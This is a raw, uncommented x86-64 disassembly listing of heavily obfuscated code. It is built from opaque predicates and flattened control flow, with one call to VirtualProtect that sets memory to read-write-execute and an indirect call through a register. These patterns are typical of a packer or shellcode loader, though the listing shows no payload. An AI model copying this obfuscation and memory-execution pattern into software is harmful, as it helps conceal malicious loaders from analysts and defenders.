cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov eax, ebx
not eax
mov edi, eax
and edi, 0x52fa4c32
mov edx, ebx
and edx, 0xad05b3cd
or edx, edi
mov edi, edx
not edi
and edi, 0xad05b3cc
and edx, 0x52fa4c33
or edx, edi
and eax, 0xad1ab1d8
and ebx, 0x52e54e27
or ebx, eax
mov eax, ebx
xor eax, 0x50210404
mov edi, edx
not edi
mov esi, edi
and esi, 0x26dc7bf3
and edx, 0xd923840c
or edx, esi
xor ebx, 0x241831d0
and ebx, 0x26dc7bf3
and eax, 0xd923840c
or eax, ebx
xor eax, edx
xor edi, eax
test edi, eax
setne dl
sete r8b
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
xor r8b, cl
xor cl, dl
xor cl, 1
mov eax, ebx
xor al, dl
or bl, dl
xor bl, 1
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, 1
and al, bl
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
xor al, r8b
mov ecx, eax
xor cl, 1
and r8b, cl
xor cl, r8b
test cl, 1
mov ecx, 0x44e635c2
mov edx, 0x6751536e
cmovne ecx, edx
test al, 1
mov eax, ecx
mov edx, 0x44e635c2
cmovne eax, edx
test r8b, r8b
jmp 0x1401a14db
mov eax, 0xbd1e5013
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x96704de0
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea eax, [rcx - 1]
imul eax, ecx
mov edi, eax
not edi
mov ebx, edi
and ebx, 0x81b3da14
mov edx, eax
and edx, 0x7e4c25eb
or edx, ebx
mov esi, edx
xor esi, 0x44000000
xor edx, 0x1000004
mov ecx, edi
or ecx, 0x6deee584
mov ebx, ecx
not ebx
or edx, 0x82110252
and edx, 0xab5d27d6
and esi, 0x44a2c000
or esi, edx
and ecx, 0xab5d27d6
and ebx, 0x10001829
or ebx, ecx
xor ebx, esi
mov ecx, ebx
not ecx
and ecx, 0x92111a7a
and ebx, 0x6deee585
or ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x45fcf0b7
and ebx, 0xba030f48
or ebx, edx
and eax, 0x45fcf0b7
and edi, 0xba030f48
or edi, eax
xor edi, ebx
xor ecx, edi
test ecx, edi
sete al
setne r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg cl
mov ebx, ecx
or al, cl
and cl, r9b
xor bl, r9b
or bl, cl
mov r8d, ebx
xor r8b, 1
or dl, r9b
xor dl, 1
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
and al, bl
or bl, cl
and cl, r8b
or cl, al
mov eax, ebx
xor al, cl
test al, 1
mov edx, 0x3def0f5c
mov eax, 0x3577fbf6
cmovne edx, eax
test cl, cl
mov eax, edx
mov ecx, 0x3def0f5c
cmovne eax, ecx
test bl, 1
jmp 0x1401a10d7
mov rax, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov r9d, dword [rbp - 0x2c]
mov rbx, qword [rbp - 0x28]
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
call rbx
add rsp, 0x30
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xd713ae7b
and edx, ebx
not ebx
and ebx, 0x7118a5b
and ecx, 0xd0022420
or ecx, ebx
xor ecx, 0xd0022420
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x28ec5184
and edx, 0xd713ae7b
or edx, ecx
mov ebx, edx
xor ebx, 1
and ebx, edx
mov ecx, edx
not ecx
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebx
not ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x55e15e3d
and ebx, 0xaa1ea1c2
or ebx, esi
or ecx, edi
and edi, 0x55e15e3d
and edx, 0xaa1ea1c2
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0xfff60f2f
and ebx, ecx
or ecx, 0x9f0d0
mov edi, ebx
not edi
mov esi, ecx
and esi, 0x2e264723
and edx, 0xd1d0080c
or edx, esi
or ecx, edi
and edi, 0x2e264723
and ebx, 0xd1d9b8dc
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x9f0d0
and ecx, 0xfff60f2f
or ecx, edx
sete dl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg r9b
mov ecx, ebx
and bl, r8b
and r8b, r9b
and cl, dl
or cl, r8b
xor cl, 1
or cl, r9b
mov eax, ecx
xor al, 1
and dl, r9b
or bl, dl
xor bl, 1
mov edx, ecx
and dl, al
mov r8d, ecx
xor r8b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r8b
xor dl, bl
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0xb0cafbe9
mov ecx, 0x9112c15b
cmovne eax, ecx
test bl, 1
mov ecx, 0xb0cafbe9
jmp 0x14019c0ca
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x9f54285b
and ecx, 0x60abd7a4
or ecx, edx
mov edx, ecx
not edx
and edx, 0x60abd7a4
and ecx, 0x9f54285b
or ecx, edx
mov r9d, ecx
not r9d
mov edi, ecx
xor edi, 0x97fc10f3
mov esi, edi
and esi, r9d
and edi, ecx
mov ebx, esi
not ebx
mov eax, edi
not eax
mov edx, ebx
and edx, 0x19a2e441
and esi, 0xe65d1bbe
or esi, edx
or ebx, eax
and eax, 0x19a2e441
and edi, 0xe65d1bbe
or edi, eax
xor edi, esi
not ebx
or ebx, edi
mov eax, ebx
not eax
and eax, 0x6803ef0d
and ebx, 0x97fc10f2
or ebx, eax
and r9d, 1
xor ecx, 0xfffffffe
or ecx, r9d
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x355330c4
and ecx, 0xcaaccf3b
or ecx, eax
mov eax, ecx
xor eax, 0xa8c453b
xor ecx, 0x244010c4
and eax, 0x1b9f653b
and ecx, 0xe4609ac4
or ecx, eax
mov eax, ecx
xor eax, 0x12006003
xor ecx, 0xe4209280
and ecx, 0xedbf97b8
and eax, 0x12406847
or eax, ecx
xor eax, 0x12406847
sete r9b
setne r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl r8b
mov eax, r8d
xor al, cl
and al, r8b
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and dl, r10b
and al, r9b
or al, dl
mov edx, ecx
xor dl, r9b
and dl, cl
and r10b, r8b
and cl, r9b
or cl, r10b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, 1
xor al, dl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x93084321
mov ebx, 0x6b52a59e
cmovne edx, ebx
test al, 1
cmove edx, ebx
test cl, 1
mov eax, 0x93084321
jmp 0x1401a0e8b
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov eax, edx
not eax
mov ecx, edx
or ecx, 0xb80734b9
mov edi, ecx
not edi
mov esi, eax
or esi, 0x47f8cb46
mov ebx, esi
not ebx
and ecx, 0x51834dcc
and edi, 0x6788202
or edi, ecx
and esi, 0x51834dcc
and ebx, 0xa8043031
or ebx, esi
xor ebx, edi
mov ecx, ebx
not ecx
and ecx, 0x747945d3
and ebx, 0x8b86ba2c
or ebx, ecx
mov edi, ebx
xor edi, 0x442a5062
xor ebx, 0x18c04
and ebx, 0x8855ad0d
and edi, 0x77aa52f2
or edi, ebx
mov ecx, edi
xor ecx, 0x37005262
and eax, 0xd7bf9bd0
and edx, 0x2840642f
or edx, eax
mov eax, edx
xor eax, 0x2000602e
xor edi, 0x8855ad0d
xor edx, 0xd7bf9bd0
mov ebx, edi
and ebx, 0xc8ea0491
and ecx, 0x3715fb6e
or ecx, ebx
or edi, edx
and edx, 0xc8ea0491
and eax, 0x3715fb6e
or eax, edx
xor eax, ecx
not edi
or edi, eax
cmp edi, 0xffffffff
setne al
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl bl
mov edx, ebx
xor dl, al
xor dl, 1
or cl, dl
or al, bl
and dl, bl
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
xor dl, 1
mov eax, ecx
or al, dl
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xf2ec8b8b
mov ebx, 0xc9c0cc12
cmovne ecx, ebx
test dl, 1
mov edx, ecx
mov ebx, 0xf2ec8b8b
jmp 0x1401a216b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x2b4375f0
and edx, ecx
and ecx, 0xd4bc8a0f
or ecx, ebx
mov ebx, ecx
xor ebx, 0x44a40a04
xor ecx, 0x2b4375f0
mov edi, edx
not edi
mov esi, ecx
and esi, 0x9319b12b
and ebx, 0x6ce64ed4
or ebx, esi
or ecx, edi
and edi, 0x9319b12b
and edx, 0x6ce64ed4
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov ebx, ecx
not ebx
and ebx, 0xb985c2ca
mov edx, ecx
and edx, 0x467a3d35
or edx, ebx
mov ebx, edx
xor ebx, 0x467a3d35
xor edx, 0x208540c0
mov edi, ebx
and edi, 0x80f91a55
and ecx, 0x7f06e5aa
or ecx, edi
mov edi, ecx
not edi
and edi, 0xeae33385
and ecx, 0x151ccc7a
or ecx, edi
mov esi, ecx
xor esi, 0x464942e
and edx, 0x629550e0
mov edi, ebx
and edi, 0x9d6aaf1f
or edi, edx
xor edi, 0x629550e1
and ebx, 1
or ebx, edi
mov edx, ebx
not edx
xor ecx, 0x6a1a29d1
mov edi, ecx
and edi, 0x91834b80
and esi, 0x6e7cb47f
or esi, edi
or ecx, ebx
and ebx, 0x91834b80
and edx, 0x6e7cb47f
or edx, ebx
xor edx, esi
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x359c96bf
and ecx, 0xca636940
or ecx, edx
mov edx, ecx
not edx
and edx, 0xca636940
and ecx, 0x359c96bf
or ecx, edx
mov edx, ecx
not edx
and edx, 0x7b568252
and ecx, 0x84a97dad
or ecx, edx
xor ecx, 0x84a97dad
cmp ecx, 0xffffffff
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
and cl, dl
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
and bl, r8b
or cl, bl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x9d08d240
mov ebx, 0xf11c1949
cmovne ecx, ebx
test dl, dl
cmove ecx, ebx
test al, 1
mov eax, 0x9d08d240
jmp 0x1401a26bd
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x1f7178f3
and edx, ecx
and ecx, 0xe08e870c
or ecx, ebx
mov ebx, ecx
xor ebx, 0xe0848404
xor ecx, 0x1f7178f3
mov edi, edx
not edi
mov esi, ecx
and esi, 0x1a2b2359
and ebx, 0xe5d4dca6
or ebx, esi
or ecx, edi
and edi, 0x1a2b2359
and edx, 0xe5d4dca6
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0x588c5cf
mov edi, ebx
and edi, edx
and ebx, ecx
mov esi, edi
and esi, ebx
xor ebx, edi
or ebx, esi
mov edi, ebx
not edi
and edi, 0xfa773a31
and ebx, 0x588c5ce
or ebx, edi
and edx, 1
xor ecx, 0xfffffffe
or ecx, edx
mov edx, ecx
not edx
and edx, 0x2f318bc3
and ecx, 0xd0ce743c
or ecx, edx
mov edi, ecx
xor edi, 0xd04a740c
mov edx, ebx
not edx
xor ecx, 0x2f318bc3
mov esi, edx
and esi, 0x21b58230
and ebx, 0xde4a7dcf
or ebx, esi
or edx, ecx
and ecx, 0x21b58230
and edi, 0xde4a7dcf
or edi, ecx
xor edi, ebx
not edx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x41c2a170
and edx, 0xbe3d5e8f
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xf0325067
and edx, 0xfcdaf98
or edx, ecx
xor edx, 0x4e0f0ee8
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ebx, ecx
or bl, dl
xor bl, 1
xor cl, dl
not cl
and cl, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, al
xor al, 1
and dl, al
or dl, bl
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x94ef71b6
mov ebx, 0xe765b402
cmovne eax, ebx
test dl, dl
cmove eax, ebx
test cl, 1
mov ecx, 0x94ef71b6
jmp 0x1401a14db
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
or ebx, 0x519397f6
mov edi, ebx
not edi
or ecx, 0xae6c6809
mov edx, ecx
not edx
and ebx, 0x38f2928
and edi, 0xac604001
or edi, ebx
and ecx, 0x38f2928
and edx, 0x501096d6
or edx, ecx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x867168b7
and edx, 0x798e9748
or edx, ecx
mov ebx, edx
not ebx
xor edx, 0x281d00be
mov ecx, edx
or ecx, 1
mov edi, ecx
not edi
and edx, 0xfffffffe
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
mov esi, ecx
and esi, 0xaa80b1fb
and edi, 0x557f4e04
or edi, esi
or ecx, edx
and edx, 0xaa80b1fb
and ebx, 0x557f4e04
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
mov edx, ecx
not edx
and ecx, 0x5a47f63
and edx, 0xfa5b809c
or edx, ecx
mov ecx, edx
xor ecx, 0x5201b23
xor edx, 0xda438090
and edx, 0xdac7e4d0
and ecx, 0x25381b2f
or ecx, edx
xor ecx, 0x25381b2f
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, r9d
and dl, al
and bl, r8b
or bl, dl
mov r10d, ebx
xor r10b, al
and r10b, bl
xor al, r9b
mov ebx, r10d
xor bl, 1
mov r8d, eax
xor r8b, bl
mov ecx, r10d
and cl, bl
mov edx, ecx
xor dl, 1
xor cl, r10b
or dl, bl
xor dl, 1
or dl, cl
xor dl, al
xor r8b, 1
or al, r10b
xor al, 1
or al, r8b
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x64b2d71e
mov ebx, 0xdce62be1
cmovne ecx, ebx
test al, 1
mov eax, 0x64b2d71e
jmp 0x14019e5fe
mov eax, 0x1c434dc7
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0xc60b00e0
mov edi, ecx
and edi, 0x39f4ff1e
or edi, edx
xor edi, 0x39f4ff1e
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
and ebx, 0x688e3255
and ecx, 0x9771cdaa
or ecx, ebx
mov ebx, ecx
xor ebx, 0x903000a0
mov edi, edx
not edi
mov esi, edi
and esi, 0x47c7ef0f
and edx, 0xb83810f0
or edx, esi
xor ecx, 0x40862205
and ecx, 0x47c7ef0f
and ebx, 0xb83810f0
or ebx, ecx
xor ebx, edx
xor edi, ebx
test edi, ebx
sete r8b
setne bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl r9b
mov edx, ecx
xor cl, bl
or bl, r9b
xor bl, 1
or dl, r8b
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
or r9b, r8b
xor cl, 1
mov eax, r9d
xor al, cl
or cl, r9b
xor cl, 1
or cl, al
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x7c9410b
mov ebx, 0xcb1f7635
cmovne edx, ebx
test cl, 1
mov ecx, 0x7c9410b
cmovne ecx, edx
jmp 0x14019d112
mov rax, qword [rbp - 0x68]
mov eax, 0xd7fead50
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x9d08d240
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
mov edi, ebx
xor edi, 0xfffffffe
and edi, edx
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
mov eax, edi
not eax
mov ebx, edx
not ebx
mov esi, eax
and esi, 0x14fcb496
and edi, 0xeb034b69
or edi, esi
or eax, ebx
and ebx, 0x14fcb496
and edx, 0xeb034b69
or edx, ebx
xor edx, edi
not eax
or eax, edx
mov edx, eax
not edx
and edx, 0x11e4f702
mov ebx, eax
and ebx, 0x220000a4
or ebx, edx
xor ebx, 0x220000a4
and eax, 0xcc1b0859
or eax, ebx
mov edx, eax
not edx
and edx, 0xbc540cd
and eax, 0xf43abf32
or eax, edx
mov edx, eax
xor edx, 0x46800080
xor eax, 0x3821b76b
mov ebx, eax
and ebx, 0x915eca14
and edx, 0x6ea135eb
or edx, ebx
xor edx, 0x6ea135eb
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne r10b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r9b
mov ebx, r10d
or bl, r9b
xor bl, 1
mov ecx, r10d
xor cl, r9b
not cl
and cl, r9b
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, eax
xor dl, r8b
and dl, al
and r10b, r9b
and al, r8b
or al, r10b
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov r9d, eax
xor r9b, 1
mov ebx, ecx
xor bl, 1
and cl, bl
and al, r9b
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
mov r8d, r9d
and r8b, al
xor al, r9b
or al, r8b
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
and al, cl
or al, dl
mov ecx, ebx
and cl, r9b
xor bl, r9b
or bl, cl
mov ecx, ebx
xor cl, al
test bl, 1
mov edx, 0xe5edd25e
mov ebx, 0x1b938073
cmovne edx, ebx
test al, 1
cmove edx, ebx
test cl, 1
mov eax, 0xe5edd25e
jmp 0x1401a0e8b
mov eax, 0x4bcdc95
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov rax, qword [rbp - 0x60]
mov dword [rax], 0
movsxd rdx, dword [rbp - 0x2c]
mov r9, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x40]
sub rsp, 0x20
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov eax, 0xba452a83
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov dword [rbp - 0x78], 0xfffffffe
jmp 0x140196019
mov dword [rbp - 0x78], 0
mov eax, 0x886e6204
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x8b1da1a8
and ecx, 0x74e25e57
or ecx, edx
mov edx, ecx
not edx
and edx, 0x74e25e57
and ecx, 0x8b1da1a8
or ecx, edx
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0xc0c7f41d
mov edx, ecx
xor edx, 0xc0c7f41d
and edx, ecx
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
and ebx, 0x4602e9c8
and edx, 0xb9fd1637
or edx, ebx
xor edx, 0x793ae22b
and edi, 1
xor ecx, 0xfffffffe
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0xd667e6f4
and ecx, 0x2998190b
or ecx, ebx
xor ecx, 0x2998190b
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
xor edx, 0xf61f875e
and edx, ecx
or ecx, 0x9e078a1
mov ebx, ecx
not ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x2eff5c4b
and ebx, 0xd0008314
or ebx, esi
or ecx, edi
and edi, 0x2eff5c4b
and edx, 0xd100a3b4
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x2b6675b5
and ecx, 0xd4998a4a
or ecx, edx
xor ecx, 0x22860d14
sete r9b
setne r10b
cmp eax, 9
setg r8b
cmp eax, 0xa
setl al
mov ecx, r10d
xor cl, r9b
and cl, r10b
mov edx, ecx
not dl
and dl, cl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
and cl, r8b
and dl, al
or dl, cl
xor r10b, al
mov ecx, eax
and cl, r9b
xor al, r9b
or al, cl
mov ecx, r10d
xor cl, al
or al, r10b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
mov ebx, edx
xor bl, 1
and al, bl
or bl, cl
and cl, dl
or cl, al
mov edx, ebx
xor dl, cl
test cl, cl
mov eax, 0x9b6afa2a
mov ecx, 0xcbb45e60
cmovne eax, ecx
test bl, 1
mov ebx, 0x9b6afa2a
jmp 0x14019a75a
mov eax, dword [0x1402656c8]
lea edx, [rax - 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0x168334ea
and ecx, 0xe97ccb15
or ecx, edx
mov edx, ecx
xor edx, 0xe97ccb15
mov eax, edx
or eax, 1
mov ebx, eax
not ebx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
mov edi, eax
and edi, 0x29c0282f
and ebx, 0xd63fd7d0
or ebx, edi
or eax, edx
and edx, 0x29c0282f
and ecx, 0xd63fd7d0
or ecx, edx
xor ecx, ebx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x20a88221
mov edx, eax
and edx, 0x4882
or edx, ecx
xor edx, 0x4882
and eax, 0xdf57355c
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xdf57355c
and eax, 0x20a8caa3
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x1ba3aba3
and eax, 0xe45c545c
or eax, ecx
mov ecx, eax
xor ecx, 0x60484000
xor eax, 0x1000921
and eax, 0x85141d7d
and ecx, 0x7aebe282
or ecx, eax
xor ecx, 0x7aebe282
sete al
cmp dword [0x1402656c4], 0xa
setl cl
mov edx, ecx
or dl, al
xor dl, 1
xor cl, al
or dl, cl
mov ebx, edx
xor bl, 1
and dl, cl
xor cl, 1
mov eax, ebx
xor al, cl
and al, bl
and cl, bl
or cl, dl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x6751536e
mov ebx, 0xbe041dfc
cmovne ecx, ebx
test al, al
mov eax, 0x6751536e
cmove ecx, eax
test dl, 1
jmp 0x14019b002
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov r9d, edi
not r9d
mov ebx, r9d
and ebx, 0x57c980f5
mov edx, edi
and edx, 0xa8367f0a
or edx, ebx
mov ebx, edx
xor ebx, 0x8025508
xor edx, 0x16c08085
mov ecx, edi
xor ecx, 0x1ee6f58f
and ecx, edi
or edx, 0xe1190a70
mov eax, ecx
not eax
mov esi, edx
and esi, 0x20b42ac6
and ebx, 0x1e42d509
or ebx, esi
or edx, eax
and eax, 0x20b42ac6
and ecx, 0xdf4bd539
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x1a144509
and edx, 0xe5ebbaf6
or edx, eax
xor edx, 0x4f2b087
and r9d, 0x78782ec9
and edi, 0x8787d136
or edi, r9d
xor edi, 0x8787d136
mov eax, edx
and eax, edi
xor edi, edx
or edi, eax
mov eax, edi
not eax
and eax, 0x436785e5
and edi, 0xbc987a1a
or edi, eax
xor edi, 0xbc987a1a
setne cl
sete r9b
cmp r8d, 0xa
setl al
cmp r8d, 9
setg r8b
mov ebx, eax
mov edx, eax
and dl, r9b
xor al, r9b
and r9b, r8b
and bl, cl
or bl, r9b
xor cl, r8b
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
not cl
mov edx, ebx
xor dl, 1
and cl, dl
and bl, al
or bl, cl
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
mov eax, edx
xor al, bl
test dl, 1
mov ecx, 0xe103239c
mov edx, 0xa5b51727
cmovne ecx, edx
test bl, bl
cmove ecx, edx
test al, 1
mov eax, 0xe103239c
jmp 0x1401a26bd
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov r9d, edi
not r9d
mov ebx, r9d
and ebx, 0x8688339c
mov ecx, edi
and ecx, 0x7977cc62
or ecx, ebx
mov ebx, ecx
xor ebx, 0x2904c460
xor ecx, 0x8688339d
mov edx, edi
xor edx, 0xfffffffe
and edx, edi
mov eax, edx
not eax
mov esi, ecx
and esi, 0x547b1a9b
and ebx, 0xab84e564
or ebx, esi
or ecx, eax
and eax, 0x547b1a9b
and edx, 0xab84e564
or edx, eax
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and r9d, 0xcbf88067
and edi, 0x34077f98
or edi, r9d
mov edx, edi
xor edx, 0x20042610
xor edi, 0xcbf88067
mov ebx, ecx
and ebx, 0x5f2bd9c8
and eax, 0xa0d42637
or eax, ebx
or ecx, edi
and edi, 0x5f2bd9c8
and edx, 0xa0d42637
or edx, edi
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xf1a0a8ba
and ecx, 0xe5f5745
or ecx, eax
xor ecx, 0xe5f5745
sete r9b
setne r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl dl
mov ebx, edx
xor bl, r10b
mov r8d, ebx
xor r8b, 1
mov eax, edx
xor dl, r9b
and r9b, cl
and al, r10b
or al, r9b
or cl, r10b
xor cl, 1
or cl, dl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and cl, bl
or bl, al
and al, r8b
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0x6e7a183
mov edx, 0x979bf537
cmovne ecx, edx
test al, al
mov eax, ecx
mov edx, 0x6e7a183
cmovne eax, edx
test bl, 1
jmp 0x14019970b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x4e9266ad
and ecx, 0xb16d9952
or ecx, edx
mov edx, ecx
xor edx, 0xb16d9952
mov ebx, ecx
xor ebx, 0x4e0222ad
and ebx, 0xde4ea2ef
xor ecx, 0x1ca58d62
and ecx, edx
and edx, 0x21b15d10
or edx, ebx
mov ebx, edx
xor ebx, 0x21b15d10
mov edi, edx
xor edi, 0x7386b6df
and edi, ebx
mov esi, edi
and esi, ecx
xor ecx, edi
or ecx, esi
mov edi, ecx
not edi
and edi, 0x5237ebce
and ecx, 0xadc81431
or ecx, edi
and ebx, 1
xor edx, 0x21b15d11
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x88f796ef
and edx, 0x77086910
or edx, ebx
mov edi, edx
xor edi, 0x4004010
mov ebx, ecx
not ebx
xor edx, 0x88f796ef
mov esi, ebx
and esi, 0xf379a924
and ecx, 0xc8656db
or ecx, esi
or ebx, edx
and edx, 0xf379a924
and edi, 0xc8656db
or edi, edx
xor edi, ecx
not ebx
or ebx, edi
mov ecx, ebx
mov edx, ebx
xor edx, 0x8549cd66
and edx, ebx
not ebx
and ebx, 0xbceefbb1
and ecx, 0x4311044e
or ecx, ebx
mov ebx, ecx
xor ebx, 0x1000404
xor ecx, 0x8448c920
or ecx, 0x7ab63299
mov edi, edx
not edi
mov esi, ecx
and esi, 0x28811972
and ebx, 0x8548c404
or ebx, esi
or ecx, edi
and edi, 0x28811972
